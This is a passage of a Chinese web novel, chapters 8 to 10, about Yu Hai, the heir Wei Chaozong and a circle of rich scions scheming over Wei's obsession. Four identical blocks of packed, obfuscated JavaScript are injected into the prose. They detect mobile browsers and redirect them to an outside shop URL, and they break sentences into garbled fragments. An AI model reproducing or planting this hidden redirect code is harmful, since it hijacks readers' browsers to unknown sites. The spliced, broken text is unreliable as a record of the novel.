孙经理嘴上说着那不能,心里却在腹诽,嫌弃不嫌弃只有自己心里知道。他工作这么多年,接触的高位者不在少数,那些鱼跃龙门跨越阶级的人,无论表面装得多平易近人多亲民,内心却恨不得将自己的出身抹掉。故地重游这个词,他们说可以,彰显自己重情重义。但若是别人说,十有八九会被记一笔。
但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022235|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一走进粉店落座,孙经理就觉得被打脸了。
他还在那扒拉着老板询问有没有菜单,给他家下凡体验普通生活的总裁展示菜品,那位已经和老板娘搭上话,在老板娘的热情推荐下点上了。
“孙平,你要哪个?孙经理,回神。”
呆住的孙经理慌忙点了个口味。
再看于总熟门熟路找位置、掰开一次性筷子、挑粉嗦粉。
孙经理:……
得,是他瞎忙活了瞎操心了,总裁是铁了心融入市井生活啊。
时至今日,一年过去,孙经理招待前来视察的于海数十次,一次比一次深刻的意识到他的误解有多深,人家那不是融入市井,人家本来就属于市井,只是由于身材长相太过出众,显得鹤立鸡群格格不入。
吃完便饭,已是华灯初上。
司机开车送蒋秘书回家,而于海则照旧在附近的公交站点下车,搭上了最后一班公交。
朔平区的兰湖公园在整治之前,附近散落着几处村镇,其中一处是于海从小长大的地方。
五年前,这片地方规划定位成了休闲娱乐功能片区,周围村庄响应政策拆迁,在老房子住了半辈子的于母不得不搬了出来,跟着儿子住进了繁华闹市区的高楼大厦。
于母身在高楼心念小镇,于海为了讨自家老妈欢心,在离兰湖公园较近的别墅群买下一座小院。
与此同时,他参与竞拍,成功拿到了想要的地块,并在上面建起了游乐场。
于海打算建成之后,带老妈过来体验一下。还记得老爸临走前曾带他和老妈去过游乐场,可惜时间太晚只见到个紧闭的大门,这下不用担心错过了,自家地盘——想怎么玩怎么玩。
六站之后,于海下车伸了个懒腰,一手拎着外套,一手插兜,嘴上叼着根烟也不点火,慢悠悠的沿着人行道向小区的方向走。
这地儿比较偏,路灯间距较远,灯光也不明亮,路上除了他没有其他行人,偶尔有车疾驰而过。
于海大脑放空,享受着静谧的春日夜晚。忽然高亢尖锐的摩托车轰鸣声打破了寂静。
五辆摩托车风驰电掣飞来,追上前方的黑色汽车,围成一个圈,将汽车困在中间,挑衅的不断加足马力。
嗡嗡嗡的发动机轰鸣震耳欲聋,接二连三的向汽车上撞。
于海旁若无人的沿着原路继续向前走。
黑色汽车终于打开车门,走下一个男人,身量高挑但只能看到一个后脑勺。摩托车上的青年们也陆续摘下头盔跳下车,十来个人有男有女,将那个男人围在中央。堵人的面孔青涩稚嫩,估摸是高中生或者大学生的年纪,为首的年轻人长了一张娃娃脸,左耳带着一颗黑钻耳钉,看到他后,竖起中指比着口型说了个滚。
于海淡定的掏出手机打了个报警电话。
娃娃脸面色一变,指挥身边的小弟过来押他。
“你他妈报警了?”娃娃脸越过人墙,用手指着他恶狠狠的大吼。
人墙裂出一道缝隙,不少人向他的方向看过来,被围在中间的男人却是纹丝不动,一点反应也没有。
“对,报警了。”于海唇角噙着烟声音有些含糊,口吻却平静,就像这是一件不值一提的小事。
刚才还没有丝毫反应的男人蓦地转过头,冰冷锋利的目光射了过来。
熟悉的面孔让于海不禁眯了眯眼,魏朝宗?!
8. 第 8 章
他默默骂了声艹,若无其事的走进包围圈。
“本大爷会害怕你报警?”娃娃脸怒火冲冲的把头盔砸过来,“你他妈想一块挨揍是吧?老子满足你!”
娃娃脸旁边的小弟大声附和:“你知道你得罪的是谁吗?”
魏朝宗攥紧拳头就要冲过去!
于海轻松的接住头盔,挡了下魏朝宗的身体,低声说:“别动。”
“艹!”魏朝宗额头爆出青筋,忍了半天吐出一口浊气。
于海见魏朝宗没有再冲动,于是不紧不慢的走到娃娃脸近前,香烟贴在下唇垂眸道:“哥们,有火没?”
娃娃脸一愣,心头旺盛的火焰被一句含着笑意的兄弟给整熄了。
哥们。
新奇的称呼。
从小到大,叫他的称呼各式各样,有卑躬屈膝的,有谄媚讨好的,有宠溺爱护的,偏偏没有人以这样平等散漫的姿态叫他一声“哥们”。
新奇。
娃娃脸勾勾手指,对身旁的人不耐烦的说:“打火机。”
容貌艳丽的高挑女生慌忙从怀里抱着的外套口袋中掏出打火机递过去。
于海挑眉俯身凑近。
娃娃脸面色复杂的打着火。
火苗在深邃的五官上映出一道微光,这个突然出现的男人眉毛英挺,鼻梁很高,鼻尖上有一颗小痔,衔着烟嘴的唇部饱满却有些干燥皲裂。
白色的烟卷燃起星星点点的火星,皲裂的唇部被火光照的发红,像染了红酒,更像染了血。
“多谢。”俯身的男人抬眸看了他一眼,嘴唇微微开合,漆黑的眸子闪过一线红光。
娃娃脸心脏重重跳动了下。
“哥们。”于海将头盔送还给娃娃脸,天然上勾的唇角让雕刻般的俊美面孔多了几分亲和,“我见你是个讲道理的。不知道我朋友哪里得罪你了?这中间可能有什么误会。”
提起这件事,刚心平气和的娃娃脸重燃怒火:“他是你朋友?这小子飙车比不过我,就想撞我的人!你说我该不该生气?”
魏朝宗紧绷的唇角勾起一抹讥讽冰冷的笑。
于海瞟见了他的表情,心想,飙车肯定不是魏朝宗主动挑起的,但意欲撞人……魏朝宗也干得出来。
这两边都不是能低头认错的人,搁几年前,他压着魏朝宗还能说两句软话,现在嘛,魏朝宗指不定心里怎么恨他。
事情难善了啊,警察怎么还没到呢?
于海极目远眺,漫不经心的胡扯:“他确实有心要撞人的话……那是他思想有问题……”
没看到警车的影子,倒是瞥见魏朝宗愈发难看的脸色。
“哥们,消消气。”于海摸出根烟递过去,“敢问尊姓大名。”
人群中有人大声道:“你谁啊?也配知道我们乔少的名字?”
于海唇角微翘,夹着香烟的手指修长,手腕稳稳悬停在半空不动如山。
娃娃脸接了烟,面色缓和:“乔叶尧。”
乔叶……
于海隐约猜到对方的身份:“乔叶轩是?”
娃娃脸的惊讶只一瞬,以他哥的刊登八卦小报的频率,联想到并不难:“我哥。”
于海笑道:“不打不相识,那位是你哥的朋友。”
乔叶尧还未做反应,他身边的女伴娇笑了声,随后这帮年轻的飞车党哄然大笑。
还是方才那个狗腿子大声叫嚣:“一个开大众的装起来豪门阔少了,也配和乔二少攀关系?”
此话一出连乔叶尧都被逗笑了,娃娃脸显得更加稚嫩。
于海三两步回到魏朝宗身侧,低声问:“有乔叶轩联系方式吗?”
魏朝宗臭着脸死死盯着他。
“问你呢。”于海皱眉低斥,“说话。”
实际上,于海的情绪并无波动,但曾经的经验告诉他,不带点情绪跟魏朝宗说话,这位少爷是听不进去的。
魏朝宗眉心皱的能夹死蚊子,声音冷的结出冰碴子:“有又怎么了。”
“手机给我。”于海摊开手,勾了勾手指。
魏朝宗脸色铁青,攥着手机的手指捏到泛白:“你……”
于海握着他的手腕,直接把手机抽了过来,没费多大功夫,或许是他力道太大,在握住的一刹那,魏朝宗的手颤抖了下,让他轻易地拿到了手机。
于海一边手指随意的点着屏幕上的锁屏密码,一边劝道:“我把手机还给你,你给乔叶轩打个电话这事就结了。”
结果,他顺手点的那几下,竟真的解了锁!
于海意识到什么,手指顿住,疑惑、诧异的看过去,只见方才铁青脸像盯仇人一样盯着他的魏朝宗,惊慌失措的偏开头避开他的目光。
于海顺手点的那几下是他的生日,也是多年前魏朝宗最常用的密码。
他心中五味杂陈,不过现在不是说这个事的时候。
于海点开联系人,找到乔叶轩的号码,对魏朝宗说:“你来?”
魏朝宗双手环胸,一副拒绝交流的样子。
“你们搞什么鬼?”乔叶尧将头盔丢给小弟,不满道,“难道在拖延时间?我告诉你,今天就算警察来了,这事也休想揭过去!”
于海握着手机转向乔叶尧,准备让他和他哥亲自交流。
“于海!”魏朝宗眉宇间压抑着怒气。
于海拨通乔叶轩的号码,听到声音回头看了眼。
“你叫于海?我记住你了。”娃娃脸上尽是戏谑,“你又在打谁的电话?报警还是叫人?”
已经接通了,于海抬手示意乔叶尧接电话。
乔叶尧不信他能翻出花来,单手插着口袋,神色倨傲的接过手机放在耳旁,就听见对面传来熟悉的声音。
“魏少,您有事吩咐?”
乔叶尧身体一僵,手从口袋里抽出来,讷讷叫了声:“二哥,是我。”
手机话筒中传来一阵刺耳的车胎摩擦地面的声音!
“小尧!你和魏少在一起?!”乔叶轩急刹车停在路边,一向吊儿郎当的乔家二少此刻竟有些严肃,“你怎么拿着魏少的手机?”
褚骋戎不是说,今晚在会所摆一场接风宴,魏朝宗已经答应了赴约?
而这边的乔叶尧大脑陷入混乱。
魏少?能让二哥忌惮的魏少只有那一位。
一根香烟已燃至尽头,于海见乔叶尧支支吾吾半天说不清,勾勾手指示意对方把手机给他。
乔叶尧给的相当果断,像扔掉了一个炸弹。
“乔少,冒昧打扰,我是于海。”
“于海……”乔叶轩的声音全然没有昨晚见面时的轻浮,“你们怎么凑到一起了?”
于海抬眸,正对上乔叶尧瞪得溜圆的杏眼,目中无人的浅色瞳孔中透漏着几分可怜巴巴。
“偶遇。”于海不管他信不信,勾唇笑道,“魏少说他认识您,乔小少爷不相信,魏少就吩咐我打个电话证明证明。”
“没别的事?”
“没有,如果您没有其他吩咐,我先挂了,魏少那边要手机呢。”
乔叶尧等他挂断电话,长松了口气,下一秒就被一句话搞得心提了起来。
“警察应该快到了。”距报警五六分钟过去了,这地儿比较偏,但出警时间也不会超过十分钟。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022236|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>和周家继承人产生冲突进了局子……乔叶尧想到老头子耳提面命让他们对魏少客气点。回头被老头子念上半个月都是轻的。
“你们先走吧。我报的警,我会和警察解释清楚。”
乔叶尧心中一动,瞬间觉得眼前俊朗的男人更伟岸了。
不明缘由的其他人目睹这场大反转,纷纷目瞪口呆。
乔叶尧瞥了眼浑身散发冷气的魏朝宗。虽然他不想追究这件事,对,不想追究,不是认怂。
但他还是不想和这位魏少爷主动和解,对方短短时间内表现出的所有行为都让他非常不爽。
“走。”乔叶尧跨上摩托车,戴上头盔,浩浩荡荡的带着一大帮人飞驰而去。
手机在手心打了个转,于海遥望乔叶尧等人跑远了,转身将它物归原主。
魏朝宗眼底一片青色,浅褐色的眼眸布着血丝,精神状态远比不上比他这个在工地来回奔走一天的人。
现在那张看上去有些许苍白憔悴的脸不知什么时候黑成锅底了,怒目切齿地说:“你明知道……”他最讨厌别人动他的东西。
“我知道什么?”于海剑眉微挑,“你就是这种态度对待救命恩人的?浪费我时间替你解围。”
“解围?”魏朝宗冷笑,“我看你享受的很,巴不得小男生贴你身上。”
于海:……
丫脑回路能正常点吗?心眼比芝麻还小……除了情情爱爱的那档子事就不能存点别的东西吗?
大晚上的,于海不想跟他掰扯,把手机放引擎盖上:“随您怎么想,随您怎么说,我要回家了,再见魏少。”
最好再也不见。
一身狗脾气的人有了得罪不起的身份光环,于海跟他较劲,可不是上赶着受虐。
于海没这受虐的癖好,他拿着烟蒂往垃圾桶那边走,准备扔完垃圾之后原地等一会,报警那事儿还没结束呢,跟警察玩虚晃一招说不准要去做个笔录。
烟蒂刚落进去,就听到啪咔一声脆响。
只见前一刻还安稳躺在车盖上的手机,四分五裂滚落一地。
掷裂犹嫌不够,魏朝宗开着车又在上面碾了两个来回彻底碾碎。
于海:多大仇啊,没事,反正不是他手机。
大众牌“破碎机”开到他面前,车窗降下,神情讥诮:“觉得韩涛不行了,想换个乔家的高枝?可惜乔叶尧不过是个小孩,他撑不了你的腰。”
于海轻飘飘道:“堂堂魏少——周家继承人,刚才被这个小孩带人给围了。”
魏朝宗阴森森的冷笑:“要不是你插手,他们能跑得了?”
于海还真忘了丫是个刺头了,惯爱挥舞拳头以一打多,打起架来不要命的主。
“抱歉,搅了魏少的好事。”于海自认为语气相当诚恳,“我家在这附近,碰巧撞见了,只看见您一个背影。您放心,下次我确认清楚,看到是您一定有多远躲多远。”
开个不知道哪整来的大众在他家门口转悠,还倒打一耙嫌他多管闲事?
魏朝宗不知是生气还是怎么的,眼角发红,握着方向盘的手凸起青筋。
“至于我攀高枝的事,不劳魏少操心,攀谁都不会攀您的。”于海手搭在车门上,清晰的看到魏朝宗咬肌都绷紧了。
“总有一天……我让你跪着求我。”每一个字都说的咬牙切齿。
“跪这个姿势太难了,我学不会,还是您比较熟练。”于海顶着对方噬人的目光,“以德报怨“的善意提醒,“周家不在这个方向,您要回去,前面就该掉头了。”
“不劳于总操心!”魏朝宗恶狠狠剜了他一眼,踩下油门直行而去。
9. 第 9 章
于海眼疾手快的退了一步,还是吃了一嘴尾气。
艹!狗玩意!
魏朝宗闷头开出那人的视野,一个急刹车停到路边,额头抵在方向盘上,胸膛剧烈起伏,牙齿咬的咯咯作响。
于海的方才的一举一动不断地在他脑内反复播放。
于海明明知道的……他厌恶别人碰他的东西!又或许……于海早已经忘了!因为不在意不在乎,所以在很多年前就把一切都抛掷脑后!
魏朝宗唾弃自己不受控制的行为,一而再再而三的巴着一个无望的人!
魏朝宗!你难道忘记曾经的屈辱了吗?!
他强迫自己抬起头,驱车赶往禇骋戎口中的欢愉之所。
会所的夜场已经排开,禇骋戎的接风宴预备几天都落了空,今夜终于迎来了它的主人。
会所是禇家的产业,地处朔平区南端,依山傍水风景秀美。
魏朝宗刚才因为开的车被一群毛头小子围堵挑衅,这会又因为开的车被拦在了会所一公里开外的大门之外。
这让他不禁想起看到褚骋戎发过来的地址时,一刹那的鬼迷心窍,他的第一反应是派人调查的信息——于海现在住的地方就在那附近。
鬼使神差的,他让人找了辆普通不显眼的车,不知不觉间就到了这里,像个无头苍蝇似的漫无目的地游荡……
简直……愚蠢到可笑!
魏朝宗骂了声艹,脸一阵红一阵白,于海要是知道他一天到晚都在围着那块破地方瞎转悠,指不定会怎么耻笑他!
守在大门处的保镖以为是骂他的,瞬间沉下脸,一个开大众的还敢在他面前甩脸子。
保镖叫王冲,刚进入保镖队不久。
虽然还在实习考察期,拿的是日结的工资,但他是给褚家当保镖,开大众的这小子一个月的工资有他一周高吗?
王冲:“撒泡尿照照自己,你什么身份配进褚家的地方?”
自从见到于海,围上来的不长眼的东西成倍增长,魏朝宗眼皮也懒得抬,启动车子向后缓慢倒行。
王冲以为自己三言两语就打发的对方知难而退,正在沾沾自喜之际,那辆缓慢倒车的大众没有丝毫缓冲,忽然如飓风般疾速奔驰冲过来,扬起一阵烟尘,差点将他卷入车底。
王冲尚未来得及破口大骂,只见那辆车猛地撞到大门上,冲破道闸,刺耳的警报声随之响彻夜空!
“快停下!”
“停车!”
汽车仍没有丝毫停下的迹象,以越来越快的速度向会所内开去!
守在门外的保镖们头皮都绷紧了,王冲连车都来不及开,疯狂的奔跑去追汽车尾气,骂骂咧咧的想,刚上班就遇到这么一个不知死活的兔崽子,晦气!等他捉到那小子,把他头拧下来当球踢!
终于看到会所正厅的影子,王冲看见那辆破大众已经被一圈黑衣人包围了,心中一喜,更加卖力的冲刺,誓要补上几脚以泄心头怒火。
他全力冲刺向目的地,外围的两个黑衣人陡然回头,犀利的打量目光让他心中一突,黑衣人甚至摆出了戒备的姿态。
保镖也是有等级的,内场的保镖比守在正厅的级别高,而正厅附近的又比他们这些守大门的高一级别。
但不论哪个级别,他们的共同目标都是保护会所内大人物的安全。
但他看到了什么?他的同行们把他看成了敌人?
王冲傻眼了,转眼一瞧,和他同级别的保镖们正眼观鼻鼻观心的安安静静站在角落,只有介绍他进入褚家保镖队的朋友在给他使眼色。
王冲脚丫子都不知道该迈那只了,忐忑茫然的顿在原地。
“朝宗,你可算来了。”一道带笑的温润声音响起,“哪儿弄了辆这样的车,开起来怎么样?”
王冲从缝隙中觑见声音的主人——他的雇主褚骋戎。这位褚家继承人,正弯着腰搭在那辆便宜车的车门上跟他以为的“穷小子”和颜悦色的说话。
王冲面色大变,终于意识到“穷小子”的身份不一般,话放出去就像泼出去的水收不回了,王冲一脸懊丧,后悔之余求神拜佛的祈祷千万不要让他们注意到自己。
魏朝宗语气平淡,听不出情绪:“你可以试试。”
“你的车我可不敢碰。”俗语说,车和老婆概不外借,何况魏朝宗明显是个独占欲很强的人,褚骋戎又不是第一天认识他,对魏朝宗的秉性还是有几分了解的。
褚骋戎打趣的话再度勾起了魏朝宗不好的回忆。
褚骋戎见他面色不好,笑道:“走吧,人都来了,就等你大驾了。”
两人一前一后进了大厅。
王冲一个眼神也没得到,低下头悄悄松口气,惊恐之余暗骂不知从哪里蹿出来这位是个神经病。
富贵日子不过,玩什么微服私访。
MD,仗着自己身份,以为自己有真本事了,要是荒郊野岭遇见,他追上人非得套麻袋把人教训一顿不可……
王冲正数落对方祖宗十八代,忽然感觉头顶笼罩了一层阴影。
抬头看见保镖队的队长面无表情的盯着他。
心中咯噔一声——艹!完了。
禇骋戎一边笑呵呵的陪着魏朝宗往顶楼走,一边不着痕迹的观察对方的情绪。
他想到三天前接到的电话——一个陌生来电。
当时禇骋戎疑惑了片刻,用着惯常的温和语气问道:“你是?”
正赶上秘书前来汇报,中途被一个陌生电话打断,其实他心里挺不耐烦的。
“我是周维。”
脑海里闪过一道光,禇骋戎腾地站了起来——潜意识里对这个名字的恭敬让他不自觉绷紧身体,臀部自动离开了舒服的座椅,站姿笔挺,像小学生面对威严的班主任。
尝试接触家族事务之后,褚骋戎有幸跟随父亲见过周维几面,对方不怒自威的气势令人无法不产生敬畏之心。
汇报工作的秘书掩饰不住的诧异,他几乎怀疑自己眼神出了问题,怎么从褚大少身上看出了几分战战兢兢?
这可是褚骋戎。
褚大少作为褚家既定的继承人,在一干权贵子弟中那都是说一不二的存在,再加上褚大少自身能力出众,虽表面谦逊亲和,实则心高气傲,相近家世的公子哥大部分都入不得他的眼。
这是哪尊大佛?平时褚大少对着褚家家主——他亲爹也没有如此恭敬过。
“周叔叔。”
“阿朝来青奚了,他年轻不懂事,你多帮衬他着点。”周维接着又道,“阿朝性格孤僻,麻烦你带他多认识些朋友。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022237|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不麻烦不麻烦。”禇骋戎努力平复过快的心跳,“我和朝宗是朋友,这些都是我该做的。”
“那我就把他交给你了。”周维慈和的笑了笑,听起来对他很满意。
“放心周叔叔。”
褚骋戎结束通话,坐下来长吐一口气,他的思绪有些混杂:周维的真实用意是什么?
褚家已然站在青奚的金字塔顶端,但面对周家还是矮了一层。
褚家能走到今日的地位,少不了周家的助力,不夸张的说,周家人称得上他们家的恩人。
甚至于今时今日,涉及到敏感关键的事情上,褚家依然仰赖周家的指点。
禇骋戎爷爷“开山立派”,父亲中庸勉力持家,他自认为能力强于父亲,可以护住偌大家业。
而周家代代优秀,代代传奇。
从禇骋戎记事开始,二十余年,周家历经三代掌权人。
周克泰,魏朝宗的外祖父,风雨飘摇中打造商业帝国。
周瑶,魏朝宗的母亲,力挽狂澜拯救大厦将倾的周家。
周维,魏朝宗的舅舅,将周家推到前所未有的高度、成为青奚的无冕之王。
每个人的人生都能写一本跌宕起伏的传奇小说。
周家内部的权力更迭一直是外界窥探不得、议论不得,但始终难以放下好奇的秘事。
过于风平浪静、过于顺理成章,每次继任者的登场都伴随着上一任掌权者意外的陨落。
出生于豪门家族的人见惯了血腥厮杀,越是看似简单寻常,掩埋的真相越是残酷。
周克泰因病离世,年仅22岁的周瑶怀抱着啼哭的婴儿亮相在世人面前,以柔弱的肩膀扛起了周家,十年后时年32岁的周瑶死于意外事故,36岁的周维接管了周家,至今已十四年。
外界关于阴谋论的揣测并非空穴来风,就连褚骋戎——外界眼中最接近周家的那批人,也暗暗认为当年的事肯定没有那么简单。
传言周维是周克泰的私生子,周瑶在世时他名不正言不顺,等到周瑶意外死亡他才趁机夺权,说不定周瑶的意外就是他一手主导。
而褚骋戎模模糊糊的记得,他年幼时跟随父母去周家拜访,周瑶和周维的相处模式很奇怪。
周维虽占着长子的名头,却对周瑶十分顺从,不像亲兄妹,更像主仆。
关于这段记忆他曾问过父母,父亲厉声呵斥他,整日不务正业、胡思乱想。
褚骋戎愈加怀疑周维的身份,周维或许不是魏朝宗的亲舅舅。
但无论是外界传闻还是他心底的猜想,都不影响周维的地位,反而为他的经历镀上了更多的传奇色彩。
让他更神秘,也让他更令人生畏。
此刻,褚骋戎看着魏朝宗的侧脸。
都说外甥肖舅,魏朝宗和周维却一点也不像。
周维相貌普通,魏朝宗的长相却极为优越,很像他的母亲。
如果两人没有血缘关系,那么对于这样一个没有血缘关系却能威胁自己地位的人,周维的真实打算是什么?
周维大张旗鼓公开魏朝宗继承人的身份,又特意打电话叮嘱他照顾魏朝宗,他所表现的拳拳爱护是真是假?
褚骋戎看不透。
他唯一的选择就是按照周维的吩咐去做。
10. 第 10 章
这是专门为魏朝宗攒的局,但说实话,褚骋戎原没指望魏朝宗会应下。
了解魏朝宗不喜热闹的秉性,褚骋戎仅邀请了自己圈子里的人,三令五申不许带乱七八糟的人过来。
家族企业涉足娱乐产业的金泽打趣道:“我还想送几位美人讨好魏少呢,敢情咱们这位太子爷是位不近美色的正人君子。”
“没禁止你带人。”这次聚会主要目的也是陪着魏朝宗放松心情,人太少了反而没意思,“不过一定要懂规矩。
“放心,我挑的人保证不敢乱说话。”
褚骋戎想到魏朝宗对那个叫于海的男人异于寻常的关注:“你们公司最近特别火的那个小生叫池什么?”
“你说的池羽啊。”金泽八卦的追问,“难道魏少……”
褚骋戎打断他,温和的语气变得有些严肃:“多的别问,把人带过来。”
池羽,当今最火爆的小生之一。
他性格寡淡无趣,却有一张得天独厚的英俊脸蛋,不发一言的独坐时,给人一种神秘而深沉的错觉。
褚骋戎将他安排在一进门便能看见的位置。
陪着魏朝宗入内时,褚骋戎第一眼便看见了他,心想:他的印象没错,池羽果然和那个男人有几分神似。
褚骋戎转头去看魏朝宗的反应,却见他目光淡淡的扫过全场,没有在任何人身上多停留哪怕一秒。
带人过来的金泽也注意到魏朝宗的视若无睹,暗暗向褚骋戎使眼色:人我按你吩咐带来了,不引荐引荐?
褚骋戎不露声色的挨个介绍在座的人。
一圈过去,只剩下独占单人沙发上的沉默男人。
“池羽。”褚骋戎笑着说,“朝宗,如果你关注娱乐消息,应该知道他。池羽可是现在娱乐圈最火的大明星。”
“不认识。”魏朝宗冷淡的回道。
池羽在娱乐圈千锤百炼过,这点厚脸皮还是有的,心里尴尬的一批,面上不显分毫。
假装喝酒避开老板暗示的目光,人家明显对他没兴趣,打蛇随棍上也得有根棍子吧。
气氛尴尬之际,一道人声打破诡异的氛围。
“我来晚了!”人未到声先至。
乔叶轩三步并作两步,笑容满面的走过来:“喝一圈了?怎么不等等我。”
“乔少,你再不来,我们都要散场了。来这么晚去和哪个美人相会了?先自罚三杯。”
乔叶轩也不推脱,豪爽的饮尽了,然后自斟满上,又给魏朝宗倒上:“魏少,我弟弟年纪小不懂事,没有冒犯你吧?他有做错的地方,我代他给您赔个不是。回去我一定狠狠教训他。”
“年纪小不是犯错的借口。”魏朝宗唇边笑意冷然,淡淡道,“告诉他,不是他的东西不要碰,也不要妄想,不然别怪我不留情面。”
魏朝宗的话说的毫不留情。
乔叶轩心中一凛,暗想回家一定要审问乔叶尧,怎么得罪这位性情阴晴不定的太子爷了。
褚骋戎赶紧打圆场,似真似假道:“小尧那孩子无法无天的,是该吃个教训了。不过他本性不坏,讲义气重感情,事后如果知道冲撞的是他哥的朋友,肯定悔的肠子都青了。咱们都别呆坐着了,走,去赛场玩几圈,好不容易聚一块,今天在我这儿玩尽兴。”
乔叶轩心里存着事,面对众多美人也没什么心思。看到乔羽也在,只是简单的打了个招呼,偶然瞥见乔羽的侧脸,莫名的怪异感一闪而过。
褚骋戎安排的项目花样繁多,魏朝宗除了玩赛车的时候以自杀式的疯狂冲刺赢得第一,其他时候表现的兴致缺缺。
在场的公子哥们赛车比赛之前,千方百计和魏朝宗套近乎,一场跑下来,无论参加比赛的还是旁观当拉拉队的,集体切换至强颜欢笑的状态。
无他,没见过这么疯的。
在座的有一个算一个,家里有花不完的金山,手里握着享用不尽的资源。
不尽情享受,反而找死?
精神上没点问题都说不过去啊。
魏少神色沉郁,坐在落地窗前的沙发上喝闷酒,神色难看的就像被人甩了又被打了两耳刮子。
他们惜命,实在不敢这时候过去触霉头。一个个相互对视传递信息,最后按下东道主看顾太子爷,其他人勾肩搭背直下负二层玩牌去了。
褚骋戎硬着头皮上前,目光顺着魏朝宗的视线看去。
大片漆黑荒野。
“他们下去玩牌了,要一起吗?”
淡色薄唇启合:“没意思。”
“说起有意思。”褚骋戎小心翼翼的试探,“前天韩涛那小子带过来的人挺有趣。我把他叫过来?”
压在酒瓶上的手指收紧,沉默许久,魏朝宗才缓缓开口,淡漠的声音听不出情绪:“来了又能怎么样,终究要离开。”
褚骋戎的猜测得到证实——令魏朝宗陷入困扰的竟真的是因为一个人。
于海出现时,两人之间不同寻常的气氛,不是于海出众的长相勾起了魏大少的兴趣,而是因为于海就是魏朝宗心底的那个人。
尘埃落定的同时又不免心惊。
魏朝宗落地青奚,政商界递上来的邀请函数不胜数,却应了地位不上不下的韩家。
褚骋戎百思不解,区区韩家到底有哪特殊的地方。
如今醍醐灌顶,魏朝宗为的不是韩家,更不是韩涛,而是韩涛带来的人——于海。
褚骋戎小心翼翼的建议:“那就用手段让对方留下来。”
他顿了顿道:“这人倒是个不可多得的人才,有野心,也有匹配得上野心的能力。去年,我和他上了同一家专访。”
采访自然是分开的,若不是察觉魏朝宗对他的特殊,褚骋戎不会对这样的小人物多看一眼。
偏偏,魏朝宗的反常众目昭彰。
“记者问他成功创业的诀窍是什么?”
魏朝宗默默道:机遇、热爱。
“他的回答是机遇和热爱,与旁人对他的评价一致,他是个极其热爱自己事业的人。在这样的人眼中,排第一位的是事业。自然,软肋也是事业。”
褚骋戎在谈恋爱上经验匮乏,他想要的人,一向召之即来,不必付出时间和精力,不过世事相通,无往不利的商业经验告诉他,拿捏到对方的软肋,既能占据胜利的制高点。
若是不起作用,只能证明掌握的把柄威慑力度不够,并不足以成为对方的软肋。
魏朝宗眼睛亮了一瞬,很快归于黯淡,神色颓唐还带着些迷惘:“不行。”
毁掉对方的一切,营造坚固的城堡,把他藏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022238|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来。让他只属于自己,让他的世界只有自己一个人。
魏朝宗为此兴奋到发抖,但想到于海可能会有的反应,他只能克制所有的冲动。
漠然无视的目光已经让他体会到锥心之痛的滋味,如果看向他的目光是仇视和厌憎,魏朝宗自己也不知道会做出什么事情来。
褚骋戎:“不试一试怎么知道结果?”
褚骋戎当然知道,于海不是甜枣加杀威棒就能搞定的普通小情儿。
魏朝宗大张旗鼓打着接见韩涛的幌子,见他一面,主动给了让对方攀关系的台阶,但人家压根不理会,反倒气的魏朝宗自己夺门而出吹了一夜凉风。
和周家搭上线,说是一步登天的通行证也不为过,青奚混迹商界的哪个不心驰神往。
于海却不假思索的拒绝了。
利诱显而易见对他用处不大。
软的不行那就来硬的。
“孙家逼他到这种地步,你见他屈服了吗?”魏朝宗眺望一望无尽的黑夜,“于海,从来不是任人拿捏的软柿子。”
“嘭”
一声响动突兀的在后面响起。
“抱歉。”乔叶轩举起双手,无辜的眨眨眼,挥了挥右手的手机,“我忘记拿手机了。不巧撞见你们聊天,没敢出声打扰,我发誓只听到一点点内容。”
魏朝宗拧眉,脸上的不耐烦呼之欲出,连带乔叶轩,他现在讨厌所有姓乔的。
褚骋戎看了一眼乔叶轩,笑着说:“感情上的事我不懂,叶轩在这方面身经百战,或许可以拿个主意。”
乔叶轩这一晚上就没从魏朝宗那得到一个好脸,这要是换个人,他早翻脸走人了。
但他家老头再三交代过,不能和魏朝宗交恶,不能交恶。
做不成朋友,但一定不能做敌人。
